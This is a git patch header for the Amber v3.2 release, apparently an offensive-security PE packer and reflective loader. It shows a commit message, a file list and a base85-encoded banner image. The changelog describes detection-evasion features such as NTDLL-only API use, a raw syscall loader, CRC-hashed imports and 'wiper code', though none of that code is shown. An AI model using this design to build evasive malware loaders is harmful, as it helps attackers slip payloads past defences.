From c33a6e3dfd3cea2a17d5dc8ec29b61e2a426c67d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Sat, 24 Jun 2023 01:53:10 +0200 Subject: [PATCH] Amber v3.2 release. - Major loader update! - Added TLS callback support - Added forwarded imports support - Removed GetProcAddress and LoadLibrary WinAPI usage - Switched to NTDLL WinApi functions - Wiper code improved - Added lite loader option for appending PE files on the fly! - Added experimental raw syscall loader - Added static build flags in makefile - File name bug fixed - Dockerfile updated - Github workflows added - README updated --- .github/img/banner.png | Bin 0 -> 87133 bytes .github/img/loader.png | Bin 0 -> 60575 bytes {img => .github/img}/usage.gif | Bin .github/workflows/main.yml | 61 ++ Dockerfile | 5 +- Makefile | 19 +- README.md | 57 +- config/options.go | 114 +-- go.mod | 4 +- go.sum | 28 +- img/banner.png | Bin 156426 -> 0 bytes loader/CRC32_API | 1 - loader/IAT_API | 1 - loader/README.md | 21 + loader/crc32_api | 1 + loader/fixed_loader_x64.asm | 117 ---- loader/fixed_loader_x86.asm | 128 ---- loader/loader-x64/amber_loader-x64-lite.bin | Bin 0 -> 2285 bytes loader/loader-x64/build.sh | 33 + loader/loader-x64/inc/calc_crc.asm | 34 + loader/loader-x64/inc/get_module_by_crc.asm | 37 + loader/loader-x64/inc/get_proc_by_crc.asm | 139 ++++ loader/loader-x64/inc/load_module.asm | 60 ++ loader/loader-x64/inc/map_image.asm | 61 ++ loader/loader-x64/inc/memcpy.asm | 17 + loader/loader-x64/inc/protect_sections.asm | 132 ++++ loader/loader-x64/inc/relocate_image.asm | 58 ++ loader/loader-x64/inc/resolve_imports.asm | 85 +++ loader/loader-x64/inc/run_tls_callbacks.asm | 36 + loader/loader-x64/loader-x64-lite.asm | 52 ++ loader/loader-x64/loader-x64.asm | 61 ++ loader/loader-x64/stub.c | 10 + loader/loader-x86/amber_loader-x86-lite.bin | Bin 0 -> 2078 bytes loader/loader-x86/build.sh | 33 + loader/loader-x86/inc/calc_crc.asm | 31 + loader/loader-x86/inc/get_module_by_crc.asm | 35 + loader/loader-x86/inc/get_proc_by_crc.asm | 124 ++++ loader/loader-x86/inc/load_module.asm | 58 ++ loader/loader-x86/inc/map_image.asm | 67 ++ loader/loader-x86/inc/memcpy.asm | 20 + loader/loader-x86/inc/protect_sections.asm | 106 +++ loader/loader-x86/inc/relocate_image.asm | 57 ++ loader/loader-x86/inc/resolve_imports.asm | 77 +++ loader/loader-x86/inc/run_tls_callbacks.asm | 32 + loader/loader-x86/loader-x86-lite.asm | 49 ++ loader/loader-x86/loader-x86.asm | 59 ++ loader/loader-x86/stub.c | 10 + loader/loader_x64.asm | 168 ----- loader/loader_x86.asm | 164 ----- loader/syscall-loader-x64/build.sh | 33 + loader/syscall-loader-x64/inc/calc_crc.asm | 34 + .../inc/get_module_by_crc.asm | 37 + .../inc/get_proc_by_crc.asm | 139 ++++ loader/syscall-loader-x64/inc/load_module.asm | 60 ++ loader/syscall-loader-x64/inc/map_image.asm | 63 ++ loader/syscall-loader-x64/inc/memcpy.asm | 17 + .../inc/protect_sections.asm | 133 ++++ .../syscall-loader-x64/inc/relocate_image.asm | 58 ++ .../inc/resolve_imports.asm | 85 +++ .../inc/run_tls_callbacks.asm | 36 + loader/syscall-loader-x64/stub.c | 10 + .../syscall-loader-x64/syscall-loader-x64.asm | 62 ++ loader/syscall_api | 1 + main.go | 140 ++-- pkg/amber.go | 185 ++++- pkg/analyze.go | 114 --- pkg/assemble.go | 144 ---- pkg/common.go | 30 - pkg/compile.go | 201 ------ pkg/crc_api_x64.go | 97 --- pkg/crc_api_x86.go | 89 --- pkg/fixed_loader_x64.go | 112 --- pkg/fixed_loader_x86.go | 121 ---- pkg/iat_api_x64.go | 102 --- pkg/iat_api_x86.go | 90 --- pkg/loader_x64.go | 160 ----- pkg/loader_x86.go | 159 ----- pkg/static.go | 652 +++++++++++++++++- utils/helpers.go | 78 +++ 79 files changed, 3477 insertions(+), 2227 deletions(-) create mode 100644 .github/img/banner.png create mode 100644 .github/img/loader.png rename {img => .github/img}/usage.gif (100%) create mode 100644 .github/workflows/main.yml delete mode 100644 img/banner.png delete mode 160000 loader/CRC32_API delete mode 160000 loader/IAT_API create mode 100644 loader/README.md create mode 160000 loader/crc32_api delete mode 100644 loader/fixed_loader_x64.asm delete mode 100644 loader/fixed_loader_x86.asm create mode 100644 loader/loader-x64/amber_loader-x64-lite.bin create mode 100755 loader/loader-x64/build.sh create mode 100644 loader/loader-x64/inc/calc_crc.asm create mode 100644 loader/loader-x64/inc/get_module_by_crc.asm create mode 100644 loader/loader-x64/inc/get_proc_by_crc.asm create mode 100644 loader/loader-x64/inc/load_module.asm create mode 100644 loader/loader-x64/inc/map_image.asm create mode 100644 loader/loader-x64/inc/memcpy.asm create mode 100644 loader/loader-x64/inc/protect_sections.asm create mode 100644 loader/loader-x64/inc/relocate_image.asm create mode 100644 loader/loader-x64/inc/resolve_imports.asm create mode 100644 loader/loader-x64/inc/run_tls_callbacks.asm create mode 100644 loader/loader-x64/loader-x64-lite.asm create mode 100644 loader/loader-x64/loader-x64.asm create mode 100755 loader/loader-x64/stub.c create mode 100644 loader/loader-x86/amber_loader-x86-lite.bin create mode 100755 loader/loader-x86/build.sh create mode 100644 loader/loader-x86/inc/calc_crc.asm create mode 100644 loader/loader-x86/inc/get_module_by_crc.asm create mode 100644 loader/loader-x86/inc/get_proc_by_crc.asm create mode 100644 loader/loader-x86/inc/load_module.asm create mode 100644 loader/loader-x86/inc/map_image.asm create mode 100644 loader/loader-x86/inc/memcpy.asm create mode 100644 loader/loader-x86/inc/protect_sections.asm create mode 100644 loader/loader-x86/inc/relocate_image.asm create mode 100644 loader/loader-x86/inc/resolve_imports.asm create mode 100644 loader/loader-x86/inc/run_tls_callbacks.asm create mode 100644 loader/loader-x86/loader-x86-lite.asm create mode 100644 loader/loader-x86/loader-x86.asm create mode 100755 loader/loader-x86/stub.c delete mode 100644 loader/loader_x64.asm delete mode 100644 loader/loader_x86.asm create mode 100755 loader/syscall-loader-x64/build.sh create mode 100644 loader/syscall-loader-x64/inc/calc_crc.asm create mode 100644 loader/syscall-loader-x64/inc/get_module_by_crc.asm create mode 100644 loader/syscall-loader-x64/inc/get_proc_by_crc.asm create mode 100644 loader/syscall-loader-x64/inc/load_module.asm create mode 100644 loader/syscall-loader-x64/inc/map_image.asm create mode 100644 loader/syscall-loader-x64/inc/memcpy.asm create mode 100644 loader/syscall-loader-x64/inc/protect_sections.asm create mode 100644 loader/syscall-loader-x64/inc/relocate_image.asm create mode 100644 loader/syscall-loader-x64/inc/resolve_imports.asm create mode 100644 loader/syscall-loader-x64/inc/run_tls_callbacks.asm create mode 100755 loader/syscall-loader-x64/stub.c create mode 100644 loader/syscall-loader-x64/syscall-loader-x64.asm create mode 160000 loader/syscall_api delete mode 100644 pkg/analyze.go delete mode 100644 pkg/assemble.go delete mode 100644 pkg/common.go delete mode 100644 pkg/compile.go delete mode 100644 pkg/crc_api_x64.go delete mode 100644 pkg/crc_api_x86.go delete mode 100644 pkg/fixed_loader_x64.go delete mode 100644 pkg/fixed_loader_x86.go delete mode 100644 pkg/iat_api_x64.go delete mode 100644 pkg/iat_api_x86.go delete mode 100644 pkg/loader_x64.go delete mode 100644 pkg/loader_x86.go create mode 100644 utils/helpers.go diff --git a/.github/img/banner.png b/.github/img/banner.png new file mode 100644 index 0000000000000000000000000000000000000000..fdc3726347905fad3b0e08c585849a5f9880ba44 GIT binary patch literal 87133 zcmeFXRaYEbu&&#UyN2Ly!6CRiG#aFV;O-LKrGWs!J-E9=aBn=gySuvtXMbz#tFy-W z0q5de%sK12X4N~Y>Zx!QWm$9-A`}1sfG!7;QUd^BdH%CIkP!a6%cBHM{(F!eLE0_= z07n1+9AGjN1~C8#0LV#+gFOw-{19_#w6!nFPDmUu5-r``EjeqM`H?_sQgC=ccp$D( zFCgNJ2&{z)cJ{AFELF5p&?g$XHT~ZW{F7&UX@b0A6M5wu|K1KWFWNjV#-i7oEsJfN zi(fQz1hz$wKPGaLP7L%>Tp6Z{#8P1Xf8+n_PN-Ez;XC!MdC~cQ`z&3FKxjp97&^)R z%d{9gHr}JEempce;7OMPlc=NGH0Q4iy-Lh3!~Tw@NVj11DSv#be}#{J+@~X$4AeiX zZOIpExe9@-@NJ)t{;$ERi~@JB6V!ZD!LYBPCax06RP+1l7PZgc%R+Yx|2as98+T5= z)8E0r*>Dv7$-oKvubgnGjMlFkqjnc|5Dxkk#^tW$6b`^9zSaK7VW8?jb=X$sHKcT) zAtZeMaF^wpUzWLRcDUv_8MQhqxZkf1zu#Z(z?|%15}xl|@JPmHn3>dlr8^JLgYQr7 zuKT}3RL}7fk`NotoPuz90{LBJy`V1}@7X?nlTYil?c2;gm|;56{mHF1Bo(Z} zF!-i}O_eGD$6UR}y2lALWA57eEGtdb&neQidxWg_g6xTqd45W3I;{Qirw0&v; ze*rYs@<9}HQiuh&CbN8#Qbcd|yx-?cJ6@N_x)UyMnNVX4nJVO4%TJ&vb)MjXL=HTK zelQod7Ph>?)q3<07%m4xEE+d*YavIBE3UYuwzP*6$koD-ZN2tsj;kjcLKsA}2JAr= zizxH3#T#k1B2m%6;SX6YB%*k1n<05{L4xlSGFK-OAoJoEM^_y47PDM;`^-n7Sy zH?Ri&-X8YvSJV}pVcB|FqIa%84(9OgZ5Vcd{Q$gQVA||oM1TVEs0>B1TT}`<1OPQJ z1XUcZkQ3%RMRnkwWB?bh#u>@i7be?TY5uxh>ozbl$_#Oz({d;Z; z*aAw*@V}QW?n15uBiabUA6EkxBM;_Z$);=(giYWuraVb@dWq& z;cqYYn^PIc4%Pvb_Z>MeyFHi70qPYio7KK=Yn_O6n-5*hUIR94pRKbOzDH!eg{v}r zJl%hX2vbPa(=s(w2@7|p=4sbRijZBizdQB2PB>XuDGuzJd<6+VWas6)3>zw3C^A=u zk_C!RbH4FjzE_+`?rN2pbr>C3cxH3U!VaOmh(gHR#$yGpziVLDNZ%$5ux4j`wJ>^Z z^?m7U|7_TJ?&0|Jvt&GwXMkw%53A2|g}S2zK_?SL^-^D*Bd<-e#LsC1x0*Q zi~R@Nn4X?zt*W6O-=q7>S6hqvkBZ`tDy@7M?mu-F+4Ucj7wT!8LOjwR1wNTAcOR__ z&RkSnmaZ?8^B?YRoTljt>KsJ~IbNfGPXq2)>I~9GnGD45uVRLqKh6yoOKw)dTtWO4 zrnDW1nZlM6WFPJ|{8}#@?{$+ZyRywW4TplGXSaF$vu6PpX@}XIXZW3#H*kV=BkzlT zSh)t=qCp|hXe zGYcg1pES_nuGV~L`o6dsg3ekV4wj%7h*ZaC*6wWE?B^vs~1fvy1A24=F zIi&^$0Z&W;h#ETk`RSwJ?&}b(WDK%c0aZKp!+rH$bp6T9ZDbv*$4XE$`jp*3$KvYe zIpmB&b>9ß!;vZ1RM|#Rz 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 